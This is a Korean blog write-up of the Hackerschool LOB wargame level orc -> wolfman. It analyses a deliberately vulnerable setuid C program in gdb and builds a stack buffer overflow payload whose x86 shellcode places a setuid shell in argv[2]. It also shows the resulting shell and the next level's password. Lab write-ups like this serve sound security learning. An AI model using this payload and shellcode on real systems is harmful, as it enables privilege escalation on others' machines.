[lob] 해커스쿨 orc -> wolfman 풀이
- 보안/HackerSchool-lob
- 2020. 1. 14. 20:34
l 해커스쿨 orc 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
orc 문제의 아이디인 orc 와 password인 cantata 을 입력하여 orc의 유저로 접속합니다.
[orc@localhost orc]$ ls -l total 20 -rwsr-sr-x 1 wolfman wolfman 12587 Feb 26 2010 wolfman -rw-r--r-- 1 root root 581 Mar 29 2010 wolfman.c |
ls -l 명령어를 사용하여 현재 위치( /home/orc ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 wolfman.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
cat 명령어를 사용하여 wolfman.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.
힌트 코드에서 다음의 조건을 확인할 수 있습니다.
1. argc는 2 이상이어야 합니다.
2. 환경 변수는 사용할 수 없습니다.
3. argv[1]의 48번째는 \xbf입니다.
4. buffer 공간을 사용할 수 없습니다.
[orc@localhost orc]$ cp wolfman orc [orc@localhost orc]$ ls -l total 36 -rwsr-sr-x 1 orc orc 12587 Jan 14 12:11 orc -rwsr-sr-x 1 wolfman wolfman 12587 Feb 26 2010 wolfman -rw-r--r-- 1 root root 581 Mar 29 2010 wolfman.c |
문제를 풀기 전 퍼미션 문제 때문에 wolfman 파일을 복사해 orc라는 이름의 파일을 하나 생성하였습니다.
[orc@localhost orc]$ gdb orc GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x1,0x8(%ebp) 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048640 0x8048511 <main+17>: call 0x8048410 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: nop 0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp) 0x804852b <main+43>: nop 0x804852c <main+44>: lea 0x0(%esi,1),%esi 0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax 0x8048533 <main+51>: lea 0x0(,%eax,4),%edx 0x804853a <main+58>: mov 0x8049760,%eax 0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1) 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax 0x804854a <main+74>: lea 0x0(,%eax,4),%edx 0x8048551 <main+81>: mov 0x8049760,%eax 0x8048556 <main+86>: mov (%eax,%edx,1),%edx 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 0x804855f <main+95>: add $0x4,%esp 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push $0x0 0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax 0x804856a <main+106>: lea 0x0(,%eax,4),%edx 0x8048571 <main+113>: mov 0x8049760,%eax 0x8048576 <main+118>: mov (%eax,%edx,1),%edx 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 0x804857f <main+127>: add $0xc,%esp 0x8048582 <main+130>: incl 0xffffffd4(%ebp) 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov 0xc(%ebp),%eax 0x804858a <main+138>: add $0x4,%eax ---Type to continue, or q to quit--- 0x804858d <main+141>: mov (%eax),%edx 0x804858f <main+143>: add $0x2f,%edx 0x8048592 <main+146>: cmpb $0xbf,(%edx) 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push $0x804864c 0x804859c <main+156>: call 0x8048410 0x80485a1 <main+161>: add $0x4,%esp 0x80485a4 <main+164>: push $0x0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add $0x4,%esp 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov 0xc(%ebp),%eax 0x80485b3 <main+179>: add $0x4,%eax 0x80485b6 <main+182>: mov (%eax),%edx 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> 0x80485c2 <main+194>: add $0x8,%esp 0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push $0x8048669 0x80485ce <main+206>: call 0x8048410 <printf> 0x80485d3 <main+211>: add $0x8,%esp 0x80485d6 <main+214>: push $0x28 0x80485d8 <main+216>: push $0x0 0x80485da <main+218>: lea 0xffffffd8(%ebp),%eax 0x80485dd <main+221>: push %eax 0x80485de <main+222>: call 0x8048430 <memset> 0x80485e3 <main+227>: add $0xc,%esp 0x80485e6 <main+230>: leave 0x80485e7 <main+231>: ret 0x80485e8 <main+232>: nop 0x80485e9 <main+233>: nop 0x80485ea <main+234>: nop 0x80485eb <main+235>: nop 0x80485ec <main+236>: nop 0x80485ed <main+237>: nop 0x80485ee <main+238>: nop 0x80485ef <main+239>: nop End of assembler dump. |
orc 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048503 <main+3>: sub $0x2c,%esp
0x2c를 10진수로 변환하면 44입니다. 스택에 44byte를 할당합니다.
2. 0x80485bd <main+189>: call 0x8048440 <strcpy>
wolfman.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 185>의 ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다.
11011000 => 00100111 => 00101000 = 8 + 32 = 40
buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다.
힌트 코드상에서 i는 int형이고, buffer 보다 늦게 선언되었기때문에 메모리 구조에서 봤을 때 i는 ebp - 44부터 시작할 것입니다. ( 스택에 44byte 할당되었습니다.)
메모리 구조를 보면 아래와 같습니다.
전체적으로 봤을 때 앞의 goblin 문제와 메모리 구조도 같고, 푸는 방식도 같습니다. 이어서 문제를 풀어보겠습니다.
buffer공간과 환경 변수 공간을 사용할 수 없기 때문에 argv[2] 공간을 사용하도록 하겠습니다. buffer가 ebp - 40에서 시작되기 때문에 sfp까지 총 44byte를 \x90으로 채워주고, return 부분에 argv[2]의 시작 주소를, argv[2]에 셸 코드를 넣어주겠습니다.
그러기 위해서 argv[2]의 시작 주소를 gdb를 이용해 알아보겠습니다.
(gdb) b *main+194 Breakpoint 1 at 0x80485c2 (gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Starting program: /home/orc/orc `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Breakpoint 1, 0x80485c2 in main () (gdb) x/100x $esp 0xbffffaa4: 0xbffffab0 0xbffffc2e 0x00000013 0x41414141 0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffad4: 0x41414141 0x41414141 0xbf414141 0x00000000 0xbffffae4: 0xbffffb24 0xbffffb34 0x40013868 0x00000003 0xbffffaf4: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffb04: 0x00000003 0xbffffb24 0x08048390 0x0804861c 0xbffffb14: 0x4000ae60 0xbffffb1c 0x40013e90 0x00000003 0xbffffb24: 0xbffffc20 0xbffffc2e 0xbffffc5f 0x00000000 0xbffffb34: 0xbffffcc4 0xbffffce6 0xbffffcf0 0xbffffcfe 0xbffffb44: 0xbffffd1d 0xbffffd29 0xbffffd42 0xbffffd5b 0xbffffb54: 0xbffffd66 0xbffffd74 0xbffffdb3 0xbffffdc2 0xbffffb64: 0xbffffdd7 0xbffffde7 0xbffffdf0 0xbffffe0b 0xbffffb74: 0xbffffe16 0xbffffe23 0xbffffe2b 0x00000000 0xbffffb84: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffb94: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffba4: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffbb4: 0x00000009 0x08048450 0x0000000b 0x000001f8 0xbffffbc4: 0x0000000c 0x000001f8 0x0000000d 0x000001f8 0xbffffbd4: 0x0000000e 0x000001f8 0x00000010 0x0f8bfbff 0xbffffbe4: 0x0000000f 0xbffffc1b 0x00000000 0x00000000 0xbffffbf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc14: 0x00000000 0x69000000 0x00363836 0x6d6f682f 0xbffffc24: 0x726f2f65 0x726f2f63 0x41410063 0x41414141 (gdb) 0xbffffc34: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc44: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc54: 0x41414141 0x41414141 0x4200bf41 0x42424242 0xbffffc64: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc74: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc84: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc94: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffca4: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffcb4: 0x42424242 0x42424242 0x42424242 0x00424242 0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000 ... |
인자로 argv[1]에는 "A" 47개와 "\xbf"를 argv[2]에는 "B" 100개를 넘겨주었습니다. 빨간색 부분이 argv[2]의 처음 시작 지점입니다. argv[2]가 0xbffffc5c부터 시작되는 것을 알 수 있습니다.
페이로드를 구성해보겠습니다.
| 페이로드
./wolfman `python -c 'print "\x90"*44+"\x5c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[orc@localhost orc]$ bash2 [orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*44+"\x5c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` \üÿ¿ bash$ id uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna |
LOB 문제를 풀 때에는 bash2를 필수적으로 입력해주셔야 합니다.
bash2를 입력 후 위의 페이로드를 넣어보니 uid가 wolfman으로 나오며 셸을 취득할 수 있었습니다. 셸 취득 후 my-pass를 입력하게 되면 wolfman user의 password를 알 수 있습니다.
l wolfman 비밀번호
euid = 505
love eyuna
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 orge -> troll 풀이 (0) | 2020.01.17 |
---|---|
[lob] 해커스쿨 wolfman -> darkelf 풀이 (0) | 2020.01.16 |
[lob] 해커스쿨 goblin -> orc 풀이 (0) | 2020.01.14 |
[lob] 해커스쿨 cobolt -> goblin 풀이 (0) | 2020.01.12 |
[lob] 해커스쿨 gremlin -> cobolt 풀이 (0) | 2020.01.11 |
이 글을 공유하기